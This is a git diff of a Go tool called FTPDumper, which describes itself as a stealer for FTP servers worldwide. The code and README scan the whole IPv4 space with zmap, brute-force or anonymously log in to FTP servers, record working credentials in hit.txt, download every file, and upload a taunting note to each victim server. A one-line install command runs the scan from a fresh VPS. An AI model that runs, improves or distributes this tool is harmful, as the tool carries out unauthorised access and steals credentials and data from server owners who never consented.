diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml
new file mode 100644
index 0000000..90fb642
--- /dev/null
+++ b/.github/workflows/release.yml
@@ -0,0 +1,71 @@
+name: Build and Release
+
+on:
+ push:
+ branches:
+ - master
+
+jobs:
+ release:
+ name: Create Release
+ runs-on: ubuntu-latest
+
+ steps:
+ - name: Checkout repository
+ uses: actions/checkout@v4
+
+ - name: Auto Increment Semver Action
+ uses: MCKanpolat/auto-semver-action@v1
+ id: versioning
+ with:
+ releaseType: patch
+ incrementPerCommit: true
+ github_token: ${{ secrets.GITHUB_TOKEN }}
+
+ - name: Next Release Number
+ run: echo ${{ steps.versioning.outputs.version }}
+
+ - name: Create Release
+ id: create_release
+ uses: actions/create-release@v1
+ env:
+ GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
+ with:
+ tag_name: ${{ steps.versioning.outputs.version }}
+ release_name: Release ${{ steps.versioning.outputs.version }}
+ body: |
+ Automatically created release by GitHub Actions
+ draft: false
+ prerelease: false
+
+ outputs:
+ upload_url: ${{ steps.create_release.outputs.upload_url }}
+ version: ${{ steps.versioning.outputs.version }}
+
+
+ build:
+ name: Build and Upload
+ needs: release
+ runs-on: ubuntu-latest
+
+ steps:
+ - uses: actions/checkout@v4
+ - uses: actions/setup-go@v5
+ with:
+ go-version: '1.22.2'
+ check-latest: true
+
+ - name: Build
+ run: go build -o FTPDumper
+
+ - name: Upload binary file
+ uses: softprops/action-gh-release@v2
+ env:
+ GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
+ with:
+ files: FTPDumper
+
+
+permissions:
+ contents: write
+ packages: write
\ No newline at end of file
diff --git a/.gitignore b/.gitignore
new file mode 100644
index 0000000..23b6a3a
--- /dev/null
+++ b/.gitignore
@@ -0,0 +1,5 @@
+FTPDumper
+.idea
+*.txt
+*.exe
+go.sum
\ No newline at end of file
diff --git a/CIDRManager/Manager.go b/CIDRManager/Manager.go
index fda56eb..2d6c3b8 100644
--- a/CIDRManager/Manager.go
+++ b/CIDRManager/Manager.go
@@ -58,7 +58,10 @@ func (c *CIDRManager) GetRandomIP() (string, error) {
}
for {
- ip := c.Ipv4Min + rand.Uint32()%(c.Ipv4Max-c.Ipv4Min+1)
+ // Generate a random number within the range of the CIDR size
+ randomIndex := rand.Intn(c.Size)
+ ip := c.Ipv4Min + uint32(randomIndex)
+
ipParsed := c.Uint32ToIP(ip)
if !c.IsUsed(ip) {
c.SetUsed(ip)
@@ -81,5 +84,9 @@ func (c *CIDRManager) IPToUInt32(ip string) uint32 {
func CountIPsInCIDR(ipNet *net.IPNet) int {
maskSize, _ := ipNet.Mask.Size()
+ if maskSize == 0 {
+ return 1 << 32 // 2^32 = 4,294,967,296
+ }
+
return 1 << (32 - maskSize)
}
diff --git a/Core/core.go b/Core/core.go
new file mode 100644
index 0000000..da7dca2
--- /dev/null
+++ b/Core/core.go
@@ -0,0 +1,165 @@
+package Core
+
+import (
+ "FTPDumper/Utility"
+ "bytes"
+ "errors"
+ "fmt"
+ "github.com/integrii/flaggy"
+ "os"
+ "strings"
+ "time"
+ "unicode"
+)
+
+var (
+ Scanner = "stdin"
+ Users []string
+ Passwords []string
+ Ports []string
+ FileFormats []string
+ Limit = 10
+ SaveCredentials = false
+ Verbose = false
+ Timeout = time.Second * 5
+ CredFile *Utility.MutexWriter
+ OutputFolder = "files"
+ Type EscannerType
+ Counter = Utility.NewCounter()
+ DumperText = bytes.NewReader([]byte("Fix your server credentials\n" +
+ "You Can Download FTPDumper From https://github.com/MatrixTM/FTPDumper\n"))
+)
+
+var (
+ TimeoutErr = errors.New("timeout Error")
+ BadCredErr = errors.New("bad Credentials")
+)
+
+func init() {
+ Counter.Born("Total")
+ Counter.Born("BadCred")
+ Counter.Born("Success")
+ Counter.Born("Stolen")
+
+ flaggy.SetName("FTPDumper")
+ flaggy.SetDescription("Scan World FTP Servers and Steal Their Data")
+ flaggy.SetVersion("0.0.1")
+
+ flaggy.String(&Scanner, "scan", "scanner", "Ip/CIDR scanner (stdin|filename|cidr|ip)")
+
+ comboFile := ""
+ flaggy.String(&comboFile, "c", "combo", "Combo File (user:password)")
+
+ ports := ""
+ flaggy.String(&ports, "p", "ports", "Ports Split by , (Default Port: 21)")
+
+ flaggy.String(&OutputFolder, "o", "output", "Output Folder")
+
+ fileFormats := ""
+ flaggy.String(&fileFormats, "f", "formats", "File Formats Split by , (Default Format: all)")
+
+ flaggy.Int(&Limit, "l", "limit", "Task limit")
+
+ flaggy.Duration(&Timeout, "t", "timeout", "Timeout in seconds")
+
+ flaggy.Bool(&SaveCredentials, "s", "save", "Save Credentials in hit.txt")
+ flaggy.Bool(&Verbose, "v", "verbose", "Verbose Mode")
+
+ flaggy.Parse()
+
+ switch Scanner {
+ case "stdin":
+ if !Utility.IsInPipeline() {
+ fmt.Println("Please pipe input to the program, or use -s file/cidr")
+ os.Exit(1)
+ }
+ Type = ESTDIN
+
+ default:
+ if Utility.IsCIDRv4(Scanner) {
+ Type = ECIDR
+ } else if Utility.IsIPv4(Scanner) {
+ Type = EIP
+ } else if Utility.FileExists(Scanner) {
+ Type = EFILE
+ } else {
+ fmt.Println("Invalid Input, possible inputs: stdin, filename, cidr, ip")
+ os.Exit(1)
+ }
+ }
+
+ if Utility.FileExists(comboFile) {
+ combos, err := Utility.ReadFileLines(comboFile)
+ if err != nil {
+ fmt.Println(err)
+ os.Exit(1)
+ }
+
+ if len(combos) < 1 {
+ fmt.Println("Combo file is empty")
+ os.Exit(1)
+ }
+
+ for _, combo := range combos {
+ userPass := strings.Split(combo, ":")
+ if len(userPass) == 2 {
+ Users = append(Users, userPass[0])
+ Passwords = append(Passwords, userPass[1])
+ }
+ }
+ } else {
+ Users = []string{"anonymous"}
+ Passwords = []string{"anonymous"}
+ }
+
+ if len(Users) < 1 || len(Passwords) < 1 {
+ fmt.Println("Combo file Does not contain any credential with user:password format")
+ os.Exit(1)
+ }
+
+ if ports != "" {
+ portsSplited := strings.Split(ports, ",")
+ for _, port := range portsSplited {
+ for _, r := range port {
+ if !unicode.IsDigit(r) {
+ fmt.Printf("Invalid Port on -p Argument, Port: \"%s\"", port)
+ os.Exit(1)
+ }
+ }
+ Ports = append(Ports, port)
+ }
+ } else {
+ Ports = []string{"21"}
+ }
+
+ if fileFormats != "" {
+ fileFormatsSplited := strings.Split(fileFormats, ",")
+ FileFormats = fileFormatsSplited
+ }
+
+ if !Utility.FolderExists(OutputFolder) {
+ err := Utility.CreateFolder(OutputFolder)
+ if err != nil {
+ fmt.Printf("Failed to create output folder: %s\n", err)
+ os.Exit(1)
+ }
+ }
+
+ if SaveCredentials {
+ if !Utility.FileExists("hit.txt") {
+ err := Utility.CreateFile("hit.txt")
+ if err != nil {
+ fmt.Printf("Failed to create hit.txt: %s\n", err)
+ os.Exit(1)
+ }
+ }
+
+ file, err := os.OpenFile("hit.txt", os.O_APPEND|os.O_WRONLY, 0600)
+ if err != nil {
+ fmt.Printf("Failed to open hit.txt: %s\n", err)
+ os.Exit(1)
+ }
+
+ CredFile = Utility.NewMutexWriter(file)
+ }
+}
diff --git a/Core/reader.go b/Core/reader.go
index 065bf45..835da89 100644
--- a/Core/reader.go
+++ b/Core/reader.go
@@ -3,6 +3,7 @@ package Core
import "C"
import (
"FTPDumper/CIDRManager"
+ "FTPDumper/Utility"
"bufio"
"errors"
"io"
@@ -31,11 +32,6 @@ type StdinReader struct {
scanner *bufio.Scanner
}
-type FileReader struct {
- file *os.File
- reader *bufio.Reader
-}
-
type CIDRReader struct {
sync.Mutex
Cidrs []*CIDRManager.CIDRManager
@@ -48,7 +44,7 @@ func NewReader(scanner string, method EscannerType) IReader {
return &StdinReader{scanner: bufio.NewScanner(os.Stdin)}
case EFILE:
file, _ := os.Open(scanner)
- return &FileReader{file: file, reader: bufio.NewReader(file)}
+ return NewFileReader(bufio.NewReader(file))
case ECIDR:
reader := &CIDRReader{
Cidrs: make([]*CIDRManager.CIDRManager, 0),
@@ -61,12 +57,35 @@ func NewReader(scanner string, method EscannerType) IReader {
reader.CidrsLen = len(reader.Cidrs)
return reader
case EIP:
- return &StdinReader{scanner: bufio.NewScanner(strings.NewReader(scanner))}
+ return &StdinReader{scanner: bufio.NewScanner(strings.NewReader(scanner + "\n"))}
}
return nil
}
+func NewFileReader(reader *bufio.Reader) *CIDRReader {
+ cidrs := make([]*CIDRManager.CIDRManager, 0)
+ for {
+ line, err := reader.ReadString('\n')
+ if err != nil {
+ if err == io.EOF {
+ break
+ }
+ return nil
+ }
+
+ line = strings.TrimSpace(line)
+
+ if !Utility.IsCIDRv4(line) {
+ continue
+ }
+
+ cidrs = append(cidrs, CIDRManager.NewCIDR(line))
+ }
+
+ return &CIDRReader{Cidrs: cidrs, CidrsLen: len(cidrs)}
+}
+
func (r *StdinReader) Next() (string, error) {
if r.scanner.Scan() {
return r.scanner.Text(), nil
@@ -81,21 +100,6 @@ func (r *StdinReader) Close() {
r.scanner = nil
}
-func (r *FileReader) Next() (string, error) {
- line, err := r.reader.ReadString('\n')
- if err != nil {
- if err == io.EOF {
- return "", io.EOF
- }
- return "", err
- }
- return strings.TrimSpace(line), nil
-}
-
-func (r *FileReader) Close() {
- r.file.Close()
-}
-
func (c *CIDRReader) Next() (string, error) {
c.Lock()
defer c.Unlock()
diff --git a/Dumper/dumper.go b/Dumper/dumper.go
new file mode 100644
index 0000000..5b291b7
--- /dev/null
+++ b/Dumper/dumper.go
@@ -0,0 +1,87 @@
+package Dumper
+
+import (
+ "FTPDumper/Core"
+ "FTPDumper/Utility"
+ "FTPDumper/ftp"
+ "crypto/sha256"
+ "encoding/hex"
+ "fmt"
+ "os"
+)
+
+func Try(address, port, user, password string) error {
+ Core.Counter.Increment("Total")
+ client := ftp.NewFTPClient(user, password)
+ err := client.Connect(fmt.Sprintf("%s:%s", address, port))
+ if err != nil {
+ return Core.TimeoutErr
+ }
+
+ defer client.Disconnect()
+
+ err = client.Login()
+ if err != nil {
+ return Core.BadCredErr
+ }
+
+ Core.Counter.Increment("Success")
+ if Core.Verbose {
+ fmt.Printf("\033[32m[SUCCESS] %s:%s@%s:%s\u001B[97m\n", address, port, user, password)
+ }
+
+ if Core.SaveCredentials {
+ _, _ = Core.CredFile.Write([]byte(fmt.Sprintf("%s:%s@%s:%s\n", address, port, user, password)))
+ }
+
+ files, err := client.GetFiles()
+ if err != nil {
+ if Core.Verbose {
+ fmt.Printf("\033[31m[FAIL] %s:%s@%s:%s\u001B[97m\n", address, port, user, password)
+ }
+ return err
+ }
+
+ sprintf := fmt.Sprintf("%s/%s", Core.OutputFolder, address)
+
+ for _, file := range files {
+ if len(Core.FileFormats) > 0 && !Utility.SuffixAny(file.Name, Core.FileFormats) {
+ continue
+ }
+
+ Core.Counter.Increment("Stolen")
+
+ hash := sha256.Sum256([]byte(file.Name))
+ hexed := hex.EncodeToString(hash[:])
+ tempPath := fmt.Sprintf("%s/%s.ftpdumper", os.TempDir(), hexed)
+
+ err = client.DownloadFile(tempPath, file.Name)
+ if err != nil {
+ if Core.Verbose {
+ fmt.Printf("\033[31m[FAIL] %s:%s@%s:%s\u001B[97m\n", address, port, user, password)
+ }
+ continue
+ }
+
+ if stat, err := os.Stat(tempPath); err != nil || stat.Size() < 1 {
+ _ = os.Remove(tempPath)
+ continue
+ }
+
+ if !Utility.FolderExists(sprintf) {
+ err = Utility.CreateFolder(sprintf)
+ if err != nil {
+ continue
+ }
+ }
+
+ err := os.Rename(tempPath, fmt.Sprintf("%s/%s/%s", Core.OutputFolder, address, file.Name))
+ if err != nil {
+ return err
+ }
+ }
+
+ _ = client.UploadFile("FTPDUMPER.txt", Core.DumperText)
+
+ return nil
+}
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..163ac7c
--- /dev/null
+++ b/README.md
@@ -0,0 +1,126 @@
+
+FTPDumper - A FTP Servers Stealer
+
+
+
+
+
+
+
+
+___
+
+
+
+## 🔍 Overview
+
+- 🚀 [Quickstart](#-quickstart)
+- ⚙️ [Arguments](#-arguments)
+- 👨💻 [Best Way to get a server](#-best-way-to-get-a-server)
+
+# 🚀 Quickstart
+
+---
+
+#### One-Line Install And Running on Fresh VPS
+```bash
+apt update && apt install -y zmap && wget -q $(curl -s https://api.github.com/repos/MatrixTM/FTPDumper/releases/latest | grep browser_download_url | grep "FTPDumper" | cut -d '"' -f 4) && chmod +x FTPDumper && zmap -p 21 -B 50MB -q | ./FTPDumper -l 5000
+```
+
+
+ 🔧 Manual Installation
+ 1. Download FTPDumper
+Download FTPDumper from Releases
+
+ 2. Set Up Permission
+
+Set up permission to FTPDumper binary file.
+```bash
+chmod +x FTPDumper
+```
+
+ 3. Run FTPDumper
+
+You have a few ways to use FTPDumper.
+
+- Zmap
+ - Download Zmap
+ ```bash
+ sudo apt install zmap
+ ```
+ - Run FTPDumper (Zmap)
+ ```bash
+ zmap -p 21 -q | ./FTPDumper -l 500 -save
+ ```
+ - Run FTPDumper (DevWay)
+ ```bash
+ ./FTPDumper -l 500 -save -s 0.0.0.0/0
+ ```
+ Check out [Arguments](#-arguments) to see more
+
+
+---
+
+# ⚙️ Arguments
+
+```bash
+MatrixTM@FTPDumper: ./FTPDumper --help
+FTPDumper - Scan World FTP Servers and Steal Their Data
+
+ Flags:
+ --version Displays the program version string.
+ -h --help Displays help with available flag, subcommand, and positional value parameters.
+ -scan --scanner Ip/CIDR scanner (stdin|filename|cidr|ip) (default: stdin)
+ -c --combo Combo File (user:password)
+ -p --ports Ports Split by , (Default Port: 21)
+ -o --output Output Folder (default: files)
+ -f --formats File Formats Split by , (Default Format: all)
+ -l --limit Task limit (default: 10)
+ -t --timeout Timeout in seconds (default: 5s)
+ -s --save Save Credentials in hit.txt
+ -v --verbose Verbose Mode
+```
+
+| Argument | Description | Default Value |
+|------------------|---------------------------------------------------------------------------------|:-------------:|
+| --version | Displays the program version string. | None |
+| -h, --help | Displays help with available flag, subcommand, and positional value parameters. | None |
+| -scan, --scanner | IP/CIDR scanner [stdin\|filename\|cidr\|ip] stdin | stdin |
+| -c, --combo | Combo File (user:password) | anonymous |
+| -p, --ports | Ports Split by , | 21 |
+| -o, --output | Output Folder files | files |
+| -f, --formats | File Formats Split by , | all |
+| -l, --limit | Task limit | 10 |
+| -t, --timeout | Timeout in seconds | 5s |
+| -s, --save | Save Credentials in hit.txt | False |
+| -v, --verbose | Verbose Mode | False |
+---
+
+# 👨💻 Best Way to get a server
+
+
+##### For this subject, the best hosting I found is [Aeza](https://aeza.net/?ref=375036 "Aeza Hosting")
+##### You Can buy hourly 10Gbps & Ryzen 9 Servers with a cheap price
+
+
+## Star history
+
+---
+
\ No newline at end of file
diff --git a/Utility/Counter.go b/Utility/Counter.go
new file mode 100644
index 0000000..402913e
--- /dev/null
+++ b/Utility/Counter.go
@@ -0,0 +1,36 @@
+package Utility
+
+import "sync/atomic"
+
+type Counter struct {
+ Counters map[string]*atomic.Int64
+}
+
+type ICounter interface {
+ Born(key string)
+ Increment(key string)
+ Get(key string) int64
+ Add(key string, value int64)
+}
+
+func NewCounter() ICounter {
+ return &Counter{
+ Counters: make(map[string]*atomic.Int64),
+ }
+}
+
+func (c *Counter) Born(key string) {
+ c.Counters[key] = new(atomic.Int64)
+}
+
+func (c *Counter) Increment(key string) {
+ c.Counters[key].Add(1)
+}
+
+func (c *Counter) Add(key string, value int64) {
+ c.Counters[key].Add(value)
+}
+
+func (c *Counter) Get(key string) int64 {
+ return c.Counters[key].Load()
+}
diff --git a/Utility/io.go b/Utility/io.go
new file mode 100644
index 0000000..7936b61
--- /dev/null
+++ b/Utility/io.go
@@ -0,0 +1,86 @@
+package Utility
+
+import (
+ "bufio"
+ "io"
+ "os"
+ "strings"
+ "sync"
+)
+
+func ReadFileLines(filename string) ([]string, error) {
+ file, err := os.Open(filename)
+ if err != nil {
+ return nil, err
+ }
+ defer file.Close()
+
+ var lines []string
+ scanner := bufio.NewScanner(file)
+ for scanner.Scan() {
+ lines = append(lines, strings.TrimSpace(scanner.Text()))
+ }
+
+ return lines, scanner.Err()
+}
+
+func FileExists(filename string) bool {
+ info, err := os.Stat(filename)
+ if os.IsNotExist(err) {
+ return false
+ }
+ return !info.IsDir()
+}
+
+func CreateFile(filename string) error {
+ file, err := os.Create(filename)
+ if err != nil {
+ return err
+ }
+ defer file.Close()
+ return nil
+}
+
+func FolderExists(folder string) bool {
+ info, err := os.Stat(folder)
+ if os.IsNotExist(err) {
+ return false
+ }
+ return info.IsDir()
+}
+
+func CreateFolder(folder string) error {
+ err := os.MkdirAll(folder, 0755)
+ if err != nil {
+ return err
+ }
+ return nil
+}
+
+type MutexWriter struct {
+ *sync.RWMutex
+ writer io.Writer
+}
+
+func NewMutexWriter(writer io.Writer) *MutexWriter {
+ return &MutexWriter{
+ RWMutex: new(sync.RWMutex),
+ writer: writer,
+ }
+}
+
+func (w *MutexWriter) Write(p []byte) (n int, err error) {
+ w.RWMutex.Lock()
+ defer w.RWMutex.Unlock()
+ return w.writer.Write(p)
+}
+
+func (w *MutexWriter) Close() {
+ w.RWMutex.Lock()
+ defer w.RWMutex.Unlock()
+ w.writer = nil
+}
+
+func (w *MutexWriter) GetWriter() io.Writer {
+ return w.writer
+}
diff --git a/Utility/utility.go b/Utility/utility.go
index fbbac90..e8c34a3 100644
--- a/Utility/utility.go
+++ b/Utility/utility.go
@@ -1,7 +1,6 @@
package Utility
import (
- "bufio"
"net"
"os"
"strings"
@@ -22,42 +21,11 @@ func IsIPv4(s string) bool {
return ip != nil && ip.To4() != nil
}
-func ReadFileLines(filename string) ([]string, error) {
- file, err := os.Open(filename)
- if err != nil {
- return nil, err
+func SuffixAny(s string, suffixes []string) bool {
+ for _, e := range suffixes {
+ if strings.HasSuffix(s, e) {
+ return true
+ }
}
- defer file.Close()
-
- var lines []string
- scanner := bufio.NewScanner(file)
- for scanner.Scan() {
- lines = append(lines, strings.TrimSpace(scanner.Text()))
- }
-
- return lines, scanner.Err()
-}
-
-func FileExists(filename string) bool {
- info, err := os.Stat(filename)
- if os.IsNotExist(err) {
- return false
- }
- return !info.IsDir()
-}
-
-func FolderExists(folder string) bool {
- info, err := os.Stat(folder)
- if os.IsNotExist(err) {
- return false
- }
- return info.IsDir()
-}
-
-func CreateFolder(folder string) error {
- err := os.MkdirAll(folder, 0755)
- if err != nil {
- return err
- }
- return nil
+ return false
}
diff --git a/ftp/ftp.go b/ftp/ftp.go
index 7e848db..75c3023 100644
--- a/ftp/ftp.go
+++ b/ftp/ftp.go
@@ -2,16 +2,18 @@ package ftp
import (
"github.com/jlaffaye/ftp"
+ "io"
"os"
"time"
)
type Client interface {
- Connect() error
+ Connect(address string) error
Login() error
Disconnect() error
- GetFiles() error
- UploadFile(filePath string) ([]File, error)
+ GetFiles() ([]File, error)
+ DownloadFile(output, filePath string) error
+ UploadFile(fileName string, reader io.Reader) error
}
type FTP struct {
@@ -25,7 +27,7 @@ type File struct {
Size int64
}
-func NewFTPClient(username, password string) *FTP {
+func NewFTPClient(username, password string) Client {
f := &FTP{
Username: username,
Password: password,
@@ -38,7 +40,7 @@ func NewFTPClient(username, password string) *FTP {
//
// It takes the server address as a parameter and returns an error.
func (f *FTP) Connect(address string) error {
- conn, err := ftp.Dial(address, ftp.DialWithTimeout(time.Second*5))
+ conn, err := ftp.Dial(address, ftp.DialWithTimeout(time.Second*5)) // make timeout in args
if err != nil {
return err
}
@@ -51,7 +53,12 @@ func (f *FTP) Connect(address string) error {
// Login logs the FTP client into the server.
// It takes no parameters and returns an error.
func (f *FTP) Login() error {
- return f.conn.Login(f.Username, f.Password)
+ err := f.conn.Login(f.Username, f.Password)
+ if err != nil {
+ return err
+ }
+
+ return nil
}
// Disconnect closes the FTP connection.
@@ -66,12 +73,6 @@ func (f *FTP) Disconnect() error {
//
// No parameters. It returns a slice of File struct and an error.
func (f *FTP) GetFiles() ([]File, error) {
- //// Retrieve the current directory from the FTP server
- //dir, err := f.conn.CurrentDir()
- //if err != nil {
- // return nil, err
- //}
-
// List the files in the retrieved directory
list, err := f.conn.List(".")
if err != nil {
@@ -84,7 +85,7 @@ func (f *FTP) GetFiles() ([]File, error) {
// Iterate through the list of files and retrieve file size
for i, file := range list {
fileSize, err := f.conn.FileSize(file.Name)
- if err != nil {
+ if err != nil || fileSize < 1 {
continue
}
// Populate the File struct with file name and size
@@ -100,28 +101,40 @@ func (f *FTP) GetFiles() ([]File, error) {
// DownloadFile downloads a file from an FTP server.
//
-// filePath specifies the path of the file to be downloaded.
+// Parameters:
+// - output: the path where the downloaded file will be saved.
+// - filePath: the path of the file to be downloaded from the FTP server.
+//
// Returns an error if any occurs during the download process.
-func (f *FTP) DownloadFile(filePath string) error {
- // Store the file from the FTP server
- _, err := f.conn.Retr(filePath)
- return err
-}
+func (f *FTP) DownloadFile(output, filePath string) error {
+ // Retrieve the file from the FTP server
+ reader, err := f.conn.Retr(filePath)
+ if err != nil {
+ return err
+ }
-// UploadFile uploads a file to an FTP server.
-//
-// filePath specifies the path of the file to be uploaded.
-// Returns an error if any occurs during the upload process.
-func (f *FTP) UploadFile(filePath string) error {
- // Open the file
- file, err := os.Open(filePath)
+ // Ensure the reader is closed after the function returns
+ defer reader.Close()
+
+ // Create the output file
+ file, err := os.Create(output)
if err != nil {
return err
}
- // Ensure the file is closed after the function returns
+ // Ensure the output file is closed after the function returns
defer file.Close()
- // Store the file on the FTP server
- return f.conn.Stor(filePath, file)
+ // Copy data from the FTP server reader to the output file
+ _, err = io.Copy(file, reader)
+ if err != nil {
+ return err
+ }
+
+ return nil
+}
+
+// UploadFile uploads a file to the FTP server.
+func (f *FTP) UploadFile(fileName string, reader io.Reader) error {
+ return f.conn.Stor(fileName, reader)
}
diff --git a/go.mod b/go.mod
index bceaf79..85f2c70 100644
--- a/go.mod
+++ b/go.mod
@@ -1,9 +1,8 @@
module FTPDumper
-go 1.22.1
+go 1.22.2
require (
- github.com/apsdehal/go-logger v0.0.0-20190515212710-b0d6ccfee0e6
github.com/integrii/flaggy v1.5.2
github.com/jlaffaye/ftp v0.2.0
)
diff --git a/main.go b/main.go
index e2d9272..e0101d0 100644
--- a/main.go
+++ b/main.go
@@ -2,160 +2,60 @@ package main
import (
"FTPDumper/Core"
- "FTPDumper/Utility"
- "FTPDumper/ftp"
+ "FTPDumper/Dumper"
+ "errors"
"fmt"
- "github.com/apsdehal/go-logger"
- "github.com/integrii/flaggy"
- "os"
- "strings"
- "unicode"
+ "time"
)
-var (
- Scanner = "stdin"
- Users []string
- Passwords []string
- Ports []string
- Limit = 10
- OutputFolder = "files"
- Type Core.EscannerType
- log *logger.Logger
-)
-
-func init() {
- var err error
- log, err = logger.New("FTPDumper", 1, os.Stdout)
- if err != nil {
- fmt.Println(err)
- os.Exit(1)
- }
-
- flaggy.SetName("FTPDumper")
- flaggy.SetDescription("FTP Dumper")
- flaggy.SetVersion("0.0.1")
-
- flaggy.Int(&Limit, "l", "limit", "Task limit")
- flaggy.String(&Scanner, "s", "scanner", "Ip/CIDR scanner [stdin|filename|cidr|ip]")
-
- usersFile := ""
- flaggy.String(&usersFile, "user", "users", "Users file [Default User: anonymous]")
-
- passwordsFile := ""
- flaggy.String(&passwordsFile, "pass", "passwords", "Passwords file [Default Password: anonymous]")
-
- ports := ""
- flaggy.String(&ports, "p", "ports", "Ports Splited by , [Default Port: 21]")
-
- flaggy.String(&OutputFolder, "o", "output", "Output Folder")
-
- flaggy.Parse()
-
- switch Scanner {
- case "stdin":
- if !Utility.IsInPipeline() {
- fmt.Println("Please pipe input to the program, or use -s file/cidr")
- os.Exit(1)
- }
- Type = Core.ESTDIN
-
- default:
- if Utility.IsCIDRv4(Scanner) {
- Type = Core.ECIDR
- } else if Utility.IsIPv4(Scanner) {
- Type = Core.EIP
- } else if Utility.FileExists(Scanner) {
- Type = Core.EFILE
- } else {
- fmt.Println("Invalid Input, possible inputs: stdin, filename, cidr, ip")
- os.Exit(1)
- }
- }
-
- if Utility.FileExists(usersFile) {
- users, err := Utility.ReadFileLines(usersFile)
- if err != nil {
- fmt.Println(err)
- os.Exit(1)
- }
+func main() {
+ fmt.Println("Starting FTP Dumper...")
- Users = users
- } else {
- Users = []string{"anonymous"}
+ if Core.Verbose {
+ fmt.Println("Setting up reader")
}
+ reader := Core.NewReader(Core.Scanner, Core.Type)
- if Utility.FileExists(passwordsFile) {
- passwords, err := Utility.ReadFileLines(passwordsFile)
- if err != nil {
- fmt.Println(err)
- os.Exit(1)
- }
-
- Passwords = passwords
- } else {
- Passwords = []string{"anonymous"}
+ if Core.Verbose {
+ fmt.Println("Setting up pool")
}
+ pool := Core.New(Core.Limit)
+ pool.Start()
+ defer pool.Stop()
- if ports != "" {
- portsSplited := strings.Split(ports, ",")
- for _, port := range portsSplited {
- for _, r := range port {
- if !unicode.IsDigit(r) {
- fmt.Println("Invalid Port")
- os.Exit(1)
- }
- }
- Ports = append(Ports, port)
- }
- } else {
- Ports = []string{"21"}
+ if Core.Verbose {
+ fmt.Printf("Limit: %d\n", Core.Limit)
+ fmt.Printf("Output Folder: %s\n", Core.OutputFolder)
+ fmt.Printf("Scanner: %s\n", Core.Scanner)
}
- if !Utility.FolderExists(OutputFolder) {
- err := Utility.CreateFolder(OutputFolder)
- if err != nil {
- fmt.Println(err)
- os.Exit(1)
+ go func() {
+ for {
+ fmt.Printf("\033[33mAttemp: [%d] \033[97m|\033[32m Success: [%d] \033[97m|\033[91m BadCred: [%d] \033[97m|\u001B[96m Stolen: [%d]\n", Core.Counter.Get("Total"), Core.Counter.Get("Success"), Core.Counter.Get("BadCred"), Core.Counter.Get("Stolen"))
+ time.Sleep(time.Second)
}
- }
-}
-
-func main() {
- reader := Core.NewReader(Scanner, Type)
- pool := Core.New(Limit)
-
- pool.Start()
- defer pool.Stop()
+ }()
for next, err := reader.Next(); next != "" && err == nil; next, err = reader.Next() {
pool.Submit(func() {
- for _, user := range Users {
- for _, password := range Passwords {
- client := ftp.NewFTPClient(user, password)
- fmt.Printf("Connecting to %s | User: %s | Password: %s\n", next, user, password)
- err = client.Connect(fmt.Sprintf("%s:%s", next, Ports[0]))
- if err != nil {
- return
- }
-
- err = client.Login()
- if err != nil {
- continue
- }
-
- fmt.Printf("Successfully connected to %s | User: %s | Password: %s\n", next, user, password)
-
- files, err := client.GetFiles()
- if err != nil {
- return
+ for _, port := range Core.Ports {
+ for _, user := range Core.Users {
+ for _, password := range Core.Passwords {
+ err := Dumper.Try(next, port, user, password)
+ if errors.Is(err, Core.TimeoutErr) {
+ return
+ }
+ if errors.Is(err, Core.BadCredErr) {
+ Core.Counter.Increment("BadCred")
+ }
+
+ if err == nil {
+ return
+ }
}
-
- for _, file := range files {
- fmt.Printf("- Name: %s | Size: %dB", file.Name, file.Size)
- }
- os.Exit(0)
}
}
+
})
}
}